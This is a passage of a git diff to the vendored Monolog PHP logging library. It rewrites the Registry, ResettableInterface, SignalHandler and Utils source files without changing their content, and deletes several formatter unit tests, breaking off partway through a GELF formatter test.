array_search($logger, self::$loggers, true); + + return false !== $index; + } else { + return isset(self::$loggers[$logger]); + } + } + + /** + * Removes instance from registry by name or instance + * + * @param string|Logger $logger Name or logger instance + */ + public static function removeLogger($logger) + { + if ($logger instanceof Logger) { + if (false !== ($idx = array_search($logger, self::$loggers, true))) { + unset(self::$loggers[$idx]); + } + } else { + unset(self::$loggers[$logger]); + } + } + + /** + * Clears the registry + */ + public static function clear() + { + self::$loggers = array(); + } + + /** + * Gets Logger instance from the registry + * + * @param string $name Name of the requested Logger instance + * @throws \InvalidArgumentException If named Logger instance is not in the registry + * @return Logger Requested instance of Logger + */ + public static function getInstance($name) + { + if (!isset(self::$loggers[$name])) { + throw new InvalidArgumentException(sprintf('Requested "%s" logger instance is not in the registry', $name)); + } + + return self::$loggers[$name]; + } + + /** + * Gets Logger instance from the registry via static method call + * + * @param string $name Name of the requested Logger instance + * @param array $arguments Arguments passed to static method call + * @throws \InvalidArgumentException If named Logger instance is not in the registry + * @return Logger Requested instance of Logger + */ + public static function __callStatic($name, $arguments) + { + return self::getInstance($name); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/ResettableInterface.php b/vendor/monolog/monolog/src/Monolog/ResettableInterface.php index fc11791db7..635bc77dcc 100644 --- a/vendor/monolog/monolog/src/Monolog/ResettableInterface.php +++ b/vendor/monolog/monolog/src/Monolog/ResettableInterface.php @@ -1,31 +1,31 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -/** - * Handler or Processor implementing this interface will be reset when Logger::reset() is called. - * - * Resetting ends a log cycle gets them back to their initial state. - * - * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal - * state, and getting it back to a state in which it can receive log records again. - * - * This is useful in case you want to avoid logs leaking between two requests or jobs when you - * have a long running process like a worker or an application server serving multiple requests - * in one process. - * - * @author Grégoire Pineau - */ -interface ResettableInterface -{ - public function reset(); -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog; + +/** + * Handler or Processor implementing this interface will be reset when Logger::reset() is called. + * + * Resetting ends a log cycle gets them back to their initial state. + * + * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal + * state, and getting it back to a state in which it can receive log records again. + * + * This is useful in case you want to avoid logs leaking between two requests or jobs when you + * have a long running process like a worker or an application server serving multiple requests + * in one process. + * + * @author Grégoire Pineau + */ +interface ResettableInterface +{ + public function reset(); +} diff --git a/vendor/monolog/monolog/src/Monolog/SignalHandler.php b/vendor/monolog/monolog/src/Monolog/SignalHandler.php index 1700740b5f..d87018fedf 100644 --- a/vendor/monolog/monolog/src/Monolog/SignalHandler.php +++ b/vendor/monolog/monolog/src/Monolog/SignalHandler.php @@ -1,115 +1,115 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use Psr\Log\LoggerInterface; -use Psr\Log\LogLevel; -use ReflectionExtension; - -/** - * Monolog POSIX signal handler - * - * @author Robert Gust-Bardon - */ -class SignalHandler -{ - private $logger; - - private $previousSignalHandler = array(); - private $signalLevelMap = array(); - private $signalRestartSyscalls = array(); - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; - } - - public function registerSignalHandler($signo, $level = LogLevel::CRITICAL, $callPrevious = true, $restartSyscalls = true, $async = true) - { - if (!extension_loaded('pcntl') || !function_exists('pcntl_signal')) { - return $this; - } - - if ($callPrevious) { - if (function_exists('pcntl_signal_get_handler')) { - $handler = pcntl_signal_get_handler($signo); - if ($handler === false) { - return $this; - } - $this->previousSignalHandler[$signo] = $handler; - } else { - $this->previousSignalHandler[$signo] = true; - } - } else { - unset($this->previousSignalHandler[$signo]); - } - $this->signalLevelMap[$signo] = $level; - $this->signalRestartSyscalls[$signo] = $restartSyscalls; - - if (function_exists('pcntl_async_signals') && $async !== null) { - pcntl_async_signals($async); - } - - pcntl_signal($signo, array($this, 'handleSignal'), $restartSyscalls); - - return $this; - } - - public function handleSignal($signo, array $siginfo = null) - { - static $signals = array(); - - if (!$signals && extension_loaded('pcntl')) { - $pcntl = new ReflectionExtension('pcntl'); - $constants = $pcntl->getConstants(); - if (!$constants) { - // HHVM 3.24.2 returns an empty array. - $constants = get_defined_constants(true); - $constants = $constants['Core']; - } - foreach ($constants as $name => $value) { - if (substr($name, 0, 3) === 'SIG' && $name[3] !== '_' && is_int($value)) { - $signals[$value] = $name; - } - } - unset($constants); - } - - $level = isset($this->signalLevelMap[$signo]) ? $this->signalLevelMap[$signo] : LogLevel::CRITICAL; - $signal = isset($signals[$signo]) ? $signals[$signo] : $signo; - $context = isset($siginfo) ? $siginfo : array(); - $this->logger->log($level, sprintf('Program received signal %s', $signal), $context); - - if (!isset($this->previousSignalHandler[$signo])) { - return; - } - - if ($this->previousSignalHandler[$signo] === true || $this->previousSignalHandler[$signo] === SIG_DFL) { - if (extension_loaded('pcntl') && function_exists('pcntl_signal') && function_exists('pcntl_sigprocmask') && function_exists('pcntl_signal_dispatch') - && extension_loaded('posix') && function_exists('posix_getpid') && function_exists('posix_kill')) { - $restartSyscalls = isset($this->signalRestartSyscalls[$signo]) ? $this->signalRestartSyscalls[$signo] : true; - pcntl_signal($signo, SIG_DFL, $restartSyscalls); - pcntl_sigprocmask(SIG_UNBLOCK, array($signo), $oldset); - posix_kill(posix_getpid(), $signo); - pcntl_signal_dispatch(); - pcntl_sigprocmask(SIG_SETMASK, $oldset); - pcntl_signal($signo, array($this, 'handleSignal'), $restartSyscalls); - } - } elseif (is_callable($this->previousSignalHandler[$signo])) { - if (PHP_VERSION_ID >= 70100) { - $this->previousSignalHandler[$signo]($signo, $siginfo); - } else { - $this->previousSignalHandler[$signo]($signo); - } - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog; + +use Psr\Log\LoggerInterface; +use Psr\Log\LogLevel; +use ReflectionExtension; + +/** + * Monolog POSIX signal handler + * + * @author Robert Gust-Bardon + */ +class SignalHandler +{ + private $logger; + + private $previousSignalHandler = array(); + private $signalLevelMap = array(); + private $signalRestartSyscalls = array(); + + public function __construct(LoggerInterface $logger) + { + $this->logger = $logger; + } + + public function registerSignalHandler($signo, $level = LogLevel::CRITICAL, $callPrevious = true, $restartSyscalls = true, $async = true) + { + if (!extension_loaded('pcntl') || !function_exists('pcntl_signal')) { + return $this; + } + + if ($callPrevious) { + if (function_exists('pcntl_signal_get_handler')) { + $handler = pcntl_signal_get_handler($signo); + if ($handler === false) { + return $this; + } + $this->previousSignalHandler[$signo] = $handler; + } else { + $this->previousSignalHandler[$signo] = true; + } + } else { + unset($this->previousSignalHandler[$signo]); + } + $this->signalLevelMap[$signo] = $level; + $this->signalRestartSyscalls[$signo] = $restartSyscalls; + + if (function_exists('pcntl_async_signals') && $async !== null) { + pcntl_async_signals($async); + } + + pcntl_signal($signo, array($this, 'handleSignal'), $restartSyscalls); + + return $this; + } + + public function handleSignal($signo, array $siginfo = null) + { + static $signals = array(); + + if (!$signals && extension_loaded('pcntl')) { + $pcntl = new ReflectionExtension('pcntl'); + $constants = $pcntl->getConstants(); + if (!$constants) { + // HHVM 3.24.2 returns an empty array. + $constants = get_defined_constants(true); + $constants = $constants['Core']; + } + foreach ($constants as $name => $value) { + if (substr($name, 0, 3) === 'SIG' && $name[3] !== '_' && is_int($value)) { + $signals[$value] = $name; + } + } + unset($constants); + } + + $level = isset($this->signalLevelMap[$signo]) ? $this->signalLevelMap[$signo] : LogLevel::CRITICAL; + $signal = isset($signals[$signo]) ? $signals[$signo] : $signo; + $context = isset($siginfo) ? $siginfo : array(); + $this->logger->log($level, sprintf('Program received signal %s', $signal), $context); + + if (!isset($this->previousSignalHandler[$signo])) { + return; + } + + if ($this->previousSignalHandler[$signo] === true || $this->previousSignalHandler[$signo] === SIG_DFL) { + if (extension_loaded('pcntl') && function_exists('pcntl_signal') && function_exists('pcntl_sigprocmask') && function_exists('pcntl_signal_dispatch') + && extension_loaded('posix') && function_exists('posix_getpid') && function_exists('posix_kill')) { + $restartSyscalls = isset($this->signalRestartSyscalls[$signo]) ? $this->signalRestartSyscalls[$signo] : true; + pcntl_signal($signo, SIG_DFL, $restartSyscalls); + pcntl_sigprocmask(SIG_UNBLOCK, array($signo), $oldset); + posix_kill(posix_getpid(), $signo); + pcntl_signal_dispatch(); + pcntl_sigprocmask(SIG_SETMASK, $oldset); + pcntl_signal($signo, array($this, 'handleSignal'), $restartSyscalls); + } + } elseif (is_callable($this->previousSignalHandler[$signo])) { + if (PHP_VERSION_ID >= 70100) { + $this->previousSignalHandler[$signo]($signo, $siginfo); + } else { + $this->previousSignalHandler[$signo]($signo); + } + } + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Utils.php b/vendor/monolog/monolog/src/Monolog/Utils.php index 96433329ee..7f1ba129e4 100644 --- a/vendor/monolog/monolog/src/Monolog/Utils.php +++ b/vendor/monolog/monolog/src/Monolog/Utils.php @@ -1,189 +1,189 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -class Utils -{ - /** - * @internal - */ - public static function getClass($object) - { - $class = \get_class($object); - - return 'c' === $class[0] && 0 === strpos($class, "class@anonymous\0") ? get_parent_class($class).'@anonymous' : $class; - } - - /** - * Makes sure if a relative path is passed in it is turned into an absolute path - * - * @param string $streamUrl stream URL or path without protocol - * - * @return string - */ - public static function canonicalizePath($streamUrl) - { - $prefix = ''; - if ('file://' === substr($streamUrl, 0, 7)) { - $streamUrl = substr($streamUrl, 7); - $prefix = 'file://'; - } - - // other type of stream, not supported - if (false !== strpos($streamUrl, '://')) { - return $streamUrl; - } - - // already absolute - if (substr($streamUrl, 0, 1) === '/' || substr($streamUrl, 1, 1) === ':' || substr($streamUrl, 0, 2) === '\\\\') { - return $prefix.$streamUrl; - } - - $streamUrl = getcwd() . '/' . $streamUrl; - - return $prefix.$streamUrl; - } - - /** - * Return the JSON representation of a value - * - * @param mixed $data - * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE - * @param bool $ignoreErrors whether to ignore encoding errors or to throw on error, when ignored and the encoding fails, "null" is returned which is valid json for null - * @throws \RuntimeException if encoding fails and errors are not ignored - * @return string - */ - public static function jsonEncode($data, $encodeFlags = null, $ignoreErrors = false) - { - if (null === $encodeFlags && version_compare(PHP_VERSION, '5.4.0', '>=')) { - $encodeFlags = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; - } - - if ($ignoreErrors) { - $json = @json_encode($data, $encodeFlags); - if (false === $json) { - return 'null'; - } - - return $json; - } - - $json = json_encode($data, $encodeFlags); - if (false === $json) { - $json = self::handleJsonError(json_last_error(), $data); - } - - return $json; - } - - /** - * Handle a json_encode failure. - * - * If the failure is due to invalid string encoding, try to clean the - * input and encode again. If the second encoding attempt fails, the - * inital error is not encoding related or the input can't be cleaned then - * raise a descriptive exception. - * - * @param int $code return code of json_last_error function - * @param mixed $data data that was meant to be encoded - * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE - * @throws \RuntimeException if failure can't be corrected - * @return string JSON encoded data after error correction - */ - public static function handleJsonError($code, $data, $encodeFlags = null) - { - if ($code !== JSON_ERROR_UTF8) { - self::throwEncodeError($code, $data); - } - - if (is_string($data)) { - self::detectAndCleanUtf8($data); - } elseif (is_array($data)) { - array_walk_recursive($data, array('Monolog\Utils', 'detectAndCleanUtf8')); - } else { - self::throwEncodeError($code, $data); - } - - if (null === $encodeFlags && version_compare(PHP_VERSION, '5.4.0', '>=')) { - $encodeFlags = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; - } - - $json = json_encode($data, $encodeFlags); - - if ($json === false) { - self::throwEncodeError(json_last_error(), $data); - } - - return $json; - } - - /** - * Throws an exception according to a given code with a customized message - * - * @param int $code return code of json_last_error function - * @param mixed $data data that was meant to be encoded - * @throws \RuntimeException - */ - private static function throwEncodeError($code, $data) - { - switch ($code) { - case JSON_ERROR_DEPTH: - $msg = 'Maximum stack depth exceeded'; - break; - case JSON_ERROR_STATE_MISMATCH: - $msg = 'Underflow or the modes mismatch'; - break; - case JSON_ERROR_CTRL_CHAR: - $msg = 'Unexpected control character found'; - break; - case JSON_ERROR_UTF8: - $msg = 'Malformed UTF-8 characters, possibly incorrectly encoded'; - break; - default: - $msg = 'Unknown error'; - } - - throw new \RuntimeException('JSON encoding failed: '.$msg.'. Encoding: '.var_export($data, true)); - } - - /** - * Detect invalid UTF-8 string characters and convert to valid UTF-8. - * - * Valid UTF-8 input will be left unmodified, but strings containing - * invalid UTF-8 codepoints will be reencoded as UTF-8 with an assumed - * original encoding of ISO-8859-15. This conversion may result in - * incorrect output if the actual encoding was not ISO-8859-15, but it - * will be clean UTF-8 output and will not rely on expensive and fragile - * detection algorithms. - * - * Function converts the input in place in the passed variable so that it - * can be used as a callback for array_walk_recursive. - * - * @param mixed $data Input to check and convert if needed, passed by ref - * @private - */ - public static function detectAndCleanUtf8(&$data) - { - if (is_string($data) && !preg_match('//u', $data)) { - $data = preg_replace_callback( - '/[\x80-\xFF]+/', - function ($m) { return utf8_encode($m[0]); }, - $data - ); - $data = str_replace( - array('¤', '¦', '¨', '´', '¸', '¼', '½', '¾'), - array('€', 'Š', 'š', 'Ž', 'ž', 'Œ', 'œ', 'Ÿ'), - $data - ); - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog; + +class Utils +{ + /** + * @internal + */ + public static function getClass($object) + { + $class = \get_class($object); + + return 'c' === $class[0] && 0 === strpos($class, "class@anonymous\0") ? get_parent_class($class).'@anonymous' : $class; + } + + /** + * Makes sure if a relative path is passed in it is turned into an absolute path + * + * @param string $streamUrl stream URL or path without protocol + * + * @return string + */ + public static function canonicalizePath($streamUrl) + { + $prefix = ''; + if ('file://' === substr($streamUrl, 0, 7)) { + $streamUrl = substr($streamUrl, 7); + $prefix = 'file://'; + } + + // other type of stream, not supported + if (false !== strpos($streamUrl, '://')) { + return $streamUrl; + } + + // already absolute + if (substr($streamUrl, 0, 1) === '/' || substr($streamUrl, 1, 1) === ':' || substr($streamUrl, 0, 2) === '\\\\') { + return $prefix.$streamUrl; + } + + $streamUrl = getcwd() . '/' . $streamUrl; + + return $prefix.$streamUrl; + } + + /** + * Return the JSON representation of a value + * + * @param mixed $data + * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE + * @param bool $ignoreErrors whether to ignore encoding errors or to throw on error, when ignored and the encoding fails, "null" is returned which is valid json for null + * @throws \RuntimeException if encoding fails and errors are not ignored + * @return string + */ + public static function jsonEncode($data, $encodeFlags = null, $ignoreErrors = false) + { + if (null === $encodeFlags && version_compare(PHP_VERSION, '5.4.0', '>=')) { + $encodeFlags = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; + } + + if ($ignoreErrors) { + $json = @json_encode($data, $encodeFlags); + if (false === $json) { + return 'null'; + } + + return $json; + } + + $json = json_encode($data, $encodeFlags); + if (false === $json) { + $json = self::handleJsonError(json_last_error(), $data); + } + + return $json; + } + + /** + * Handle a json_encode failure. + * + * If the failure is due to invalid string encoding, try to clean the + * input and encode again. If the second encoding attempt fails, the + * inital error is not encoding related or the input can't be cleaned then + * raise a descriptive exception. + * + * @param int $code return code of json_last_error function + * @param mixed $data data that was meant to be encoded + * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE + * @throws \RuntimeException if failure can't be corrected + * @return string JSON encoded data after error correction + */ + public static function handleJsonError($code, $data, $encodeFlags = null) + { + if ($code !== JSON_ERROR_UTF8) { + self::throwEncodeError($code, $data); + } + + if (is_string($data)) { + self::detectAndCleanUtf8($data); + } elseif (is_array($data)) { + array_walk_recursive($data, array('Monolog\Utils', 'detectAndCleanUtf8')); + } else { + self::throwEncodeError($code, $data); + } + + if (null === $encodeFlags && version_compare(PHP_VERSION, '5.4.0', '>=')) { + $encodeFlags = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; + } + + $json = json_encode($data, $encodeFlags); + + if ($json === false) { + self::throwEncodeError(json_last_error(), $data); + } + + return $json; + } + + /** + * Throws an exception according to a given code with a customized message + * + * @param int $code return code of json_last_error function + * @param mixed $data data that was meant to be encoded + * @throws \RuntimeException + */ + private static function throwEncodeError($code, $data) + { + switch ($code) { + case JSON_ERROR_DEPTH: + $msg = 'Maximum stack depth exceeded'; + break; + case JSON_ERROR_STATE_MISMATCH: + $msg = 'Underflow or the modes mismatch'; + break; + case JSON_ERROR_CTRL_CHAR: + $msg = 'Unexpected control character found'; + break; + case JSON_ERROR_UTF8: + $msg = 'Malformed UTF-8 characters, possibly incorrectly encoded'; + break; + default: + $msg = 'Unknown error'; + } + + throw new \RuntimeException('JSON encoding failed: '.$msg.'. Encoding: '.var_export($data, true)); + } + + /** + * Detect invalid UTF-8 string characters and convert to valid UTF-8. + * + * Valid UTF-8 input will be left unmodified, but strings containing + * invalid UTF-8 codepoints will be reencoded as UTF-8 with an assumed + * original encoding of ISO-8859-15. This conversion may result in + * incorrect output if the actual encoding was not ISO-8859-15, but it + * will be clean UTF-8 output and will not rely on expensive and fragile + * detection algorithms. + * + * Function converts the input in place in the passed variable so that it + * can be used as a callback for array_walk_recursive. + * + * @param mixed $data Input to check and convert if needed, passed by ref + * @private + */ + public static function detectAndCleanUtf8(&$data) + { + if (is_string($data) && !preg_match('//u', $data)) { + $data = preg_replace_callback( + '/[\x80-\xFF]+/', + function ($m) { return utf8_encode($m[0]); }, + $data + ); + $data = str_replace( + array('¤', '¦', '¨', '´', '¸', '¼', '½', '¾'), + array('€', 'Š', 'š', 'Ž', 'ž', 'Œ', 'œ', 'Ÿ'), + $data + ); + } + } +} diff --git a/vendor/monolog/monolog/tests/Monolog/ErrorHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/ErrorHandlerTest.php deleted file mode 100644 index c2f7fc937a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/ErrorHandlerTest.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use Monolog\Handler\TestHandler; - -class ErrorHandlerTest extends \PHPUnit_Framework_TestCase -{ - public function testHandleError() - { - $logger = new Logger('test', array($handler = new TestHandler)); - $errHandler = new ErrorHandler($logger); - - $errHandler->registerErrorHandler(array(E_USER_NOTICE => Logger::EMERGENCY), false); - trigger_error('Foo', E_USER_ERROR); - $this->assertCount(1, $handler->getRecords()); - $this->assertTrue($handler->hasErrorRecords()); - trigger_error('Foo', E_USER_NOTICE); - $this->assertCount(2, $handler->getRecords()); - $this->assertTrue($handler->hasEmergencyRecords()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/ChromePHPFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/ChromePHPFormatterTest.php deleted file mode 100644 index ca2cb0686c..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/ChromePHPFormatterTest.php +++ /dev/null @@ -1,158 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -class ChromePHPFormatterTest extends \PHPUnit_Framework_TestCase -{ - /** - * @covers Monolog\Formatter\ChromePHPFormatter::format - */ - public function testDefaultFormat() - { - $formatter = new ChromePHPFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('ip' => '127.0.0.1'), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertEquals( - array( - 'meh', - array( - 'message' => 'log', - 'context' => array('from' => 'logger'), - 'extra' => array('ip' => '127.0.0.1'), - ), - 'unknown', - 'error', - ), - $message - ); - } - - /** - * @covers Monolog\Formatter\ChromePHPFormatter::format - */ - public function testFormatWithFileAndLine() - { - $formatter = new ChromePHPFormatter(); - $record = array( - 'level' => Logger::CRITICAL, - 'level_name' => 'CRITICAL', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('ip' => '127.0.0.1', 'file' => 'test', 'line' => 14), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertEquals( - array( - 'meh', - array( - 'message' => 'log', - 'context' => array('from' => 'logger'), - 'extra' => array('ip' => '127.0.0.1'), - ), - 'test : 14', - 'error', - ), - $message - ); - } - - /** - * @covers Monolog\Formatter\ChromePHPFormatter::format - */ - public function testFormatWithoutContext() - { - $formatter = new ChromePHPFormatter(); - $record = array( - 'level' => Logger::DEBUG, - 'level_name' => 'DEBUG', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertEquals( - array( - 'meh', - 'log', - 'unknown', - 'log', - ), - $message - ); - } - - /** - * @covers Monolog\Formatter\ChromePHPFormatter::formatBatch - */ - public function testBatchFormatThrowException() - { - $formatter = new ChromePHPFormatter(); - $records = array( - array( - 'level' => Logger::INFO, - 'level_name' => 'INFO', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ), - array( - 'level' => Logger::WARNING, - 'level_name' => 'WARNING', - 'channel' => 'foo', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log2', - ), - ); - - $this->assertEquals( - array( - array( - 'meh', - 'log', - 'unknown', - 'info', - ), - array( - 'foo', - 'log2', - 'unknown', - 'warn', - ), - ), - $formatter->formatBatch($records) - ); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/ElasticaFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/ElasticaFormatterTest.php deleted file mode 100644 index be963e89aa..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/ElasticaFormatterTest.php +++ /dev/null @@ -1,79 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -class ElasticaFormatterTest extends \PHPUnit_Framework_TestCase -{ - public function setUp() - { - if (!class_exists("Elastica\Document")) { - $this->markTestSkipped("ruflin/elastica not installed"); - } - } - - /** - * @covers Monolog\Formatter\ElasticaFormatter::__construct - * @covers Monolog\Formatter\ElasticaFormatter::format - * @covers Monolog\Formatter\ElasticaFormatter::getDocument - */ - public function testFormat() - { - // test log message - $msg = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('foo' => 7, 'bar', 'class' => new \stdClass), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - // expected values - $expected = $msg; - $expected['datetime'] = '1970-01-01T00:00:00.000000+00:00'; - $expected['context'] = array( - 'class' => '[object] (stdClass: {})', - 'foo' => 7, - 0 => 'bar', - ); - - // format log message - $formatter = new ElasticaFormatter('my_index', 'doc_type'); - $doc = $formatter->format($msg); - $this->assertInstanceOf('Elastica\Document', $doc); - - // Document parameters - $params = $doc->getParams(); - $this->assertEquals('my_index', $params['_index']); - $this->assertEquals('doc_type', $params['_type']); - - // Document data values - $data = $doc->getData(); - foreach (array_keys($expected) as $key) { - $this->assertEquals($expected[$key], $data[$key]); - } - } - - /** - * @covers Monolog\Formatter\ElasticaFormatter::getIndex - * @covers Monolog\Formatter\ElasticaFormatter::getType - */ - public function testGetters() - { - $formatter = new ElasticaFormatter('my_index', 'doc_type'); - $this->assertEquals('my_index', $formatter->getIndex()); - $this->assertEquals('doc_type', $formatter->getType()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/FlowdockFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/FlowdockFormatterTest.php deleted file mode 100644 index e2cf0bf021..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/FlowdockFormatterTest.php +++ /dev/null @@ -1,55 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; -use Monolog\TestCase; - -class FlowdockFormatterTest extends TestCase -{ - /** - * @covers Monolog\Formatter\FlowdockFormatter::format - */ - public function testFormat() - { - $formatter = new FlowdockFormatter('test_source', 'source@test.com'); - $record = $this->getRecord(); - - $expected = array( - 'source' => 'test_source', - 'from_address' => 'source@test.com', - 'subject' => 'in test_source: WARNING - test', - 'content' => 'test', - 'tags' => array('#logs', '#warning', '#test'), - 'project' => 'test_source', - ); - $formatted = $formatter->format($record); - - $this->assertEquals($expected, $formatted['flowdock']); - } - - /** - * @ covers Monolog\Formatter\FlowdockFormatter::formatBatch - */ - public function testFormatBatch() - { - $formatter = new FlowdockFormatter('test_source', 'source@test.com'); - $records = array( - $this->getRecord(Logger::WARNING), - $this->getRecord(Logger::DEBUG), - ); - $formatted = $formatter->formatBatch($records); - - $this->assertArrayHasKey('flowdock', $formatted[0]); - $this->assertArrayHasKey('flowdock', $formatted[1]); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/FluentdFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/FluentdFormatterTest.php deleted file mode 100644 index 3c786bbbed..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/FluentdFormatterTest.php +++ /dev/null @@ -1,62 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; -use Monolog\TestCase; - -class FluentdFormatterTest extends TestCase -{ - /** - * @covers Monolog\Formatter\FluentdFormatter::__construct - * @covers Monolog\Formatter\FluentdFormatter::isUsingLevelsInTag - */ - public function testConstruct() - { - $formatter = new FluentdFormatter(); - $this->assertEquals(false, $formatter->isUsingLevelsInTag()); - $formatter = new FluentdFormatter(false); - $this->assertEquals(false, $formatter->isUsingLevelsInTag()); - $formatter = new FluentdFormatter(true); - $this->assertEquals(true, $formatter->isUsingLevelsInTag()); - } - - /** - * @covers Monolog\Formatter\FluentdFormatter::format - */ - public function testFormat() - { - $record = $this->getRecord(Logger::WARNING); - $record['datetime'] = new \DateTime("@0"); - - $formatter = new FluentdFormatter(); - $this->assertEquals( - '["test",0,{"message":"test","context":[],"extra":[],"level":300,"level_name":"WARNING"}]', - $formatter->format($record) - ); - } - - /** - * @covers Monolog\Formatter\FluentdFormatter::format - */ - public function testFormatWithTag() - { - $record = $this->getRecord(Logger::ERROR); - $record['datetime'] = new \DateTime("@0"); - - $formatter = new FluentdFormatter(true); - $this->assertEquals( - '["test.error",0,{"message":"test","context":[],"extra":[]}]', - $formatter->format($record) - ); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/GelfMessageFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/GelfMessageFormatterTest.php deleted file mode 100644 index 6b3645f279..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/GelfMessageFormatterTest.php +++ /dev/null @@ -1,258 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -class GelfMessageFormatterTest extends \PHPUnit_Framework_TestCase -{ - public function setUp() - { - if (!class_exists('\Gelf\Message')) { - $this->markTestSkipped("graylog2/gelf-php or mlehner/gelf-php is not installed"); - } - } - - /** - * @covers Monolog\Formatter\GelfMessageFormatter::format - */ - public function testDefaultFormatter() - { - $formatter = new GelfMessageFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - $this->assertEquals(0, $message->getTimestamp()); - $this->assertEquals('log', $message->getShortMessage()); - $this->assertEquals('meh', $message->getFacility()); - $this->assertEquals(null, $message->getLine()); - $this->assertEquals(null, $message->getFile()); - $this->assertEquals($this->isLegacy() ? 3 : 'error', $message->getLevel()); - $this->assertNotEmpty($message->getHost()); - - $formatter = new GelfMessageFormatter('mysystem'); - - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - $this->assertEquals('mysystem', $message->getHost()); - } - - /** - * @covers Monolog\Formatter\GelfMessageFormatter::format - */ - public function testFormatWithFileAndLine() - { - $formatter = new GelfMessageFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('file' => 'test', 'line' => 14), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - $this->assertEquals('test', $message->getFile()); - $this->assertEquals(14, $message->getLine()); - } - - /** - * @covers Monolog\Formatter\GelfMessageFormatter::format - * @expectedException InvalidArgumentException - */ - public function testFormatInvalidFails() - { - $formatter = new GelfMessageFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - ); - - $formatter->format($record); - } - - /** - * @covers Monolog\Formatter\GelfMessageFormatter::format - */ - public function testFormatWithContext() - { - $formatter = new GelfMessageFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => 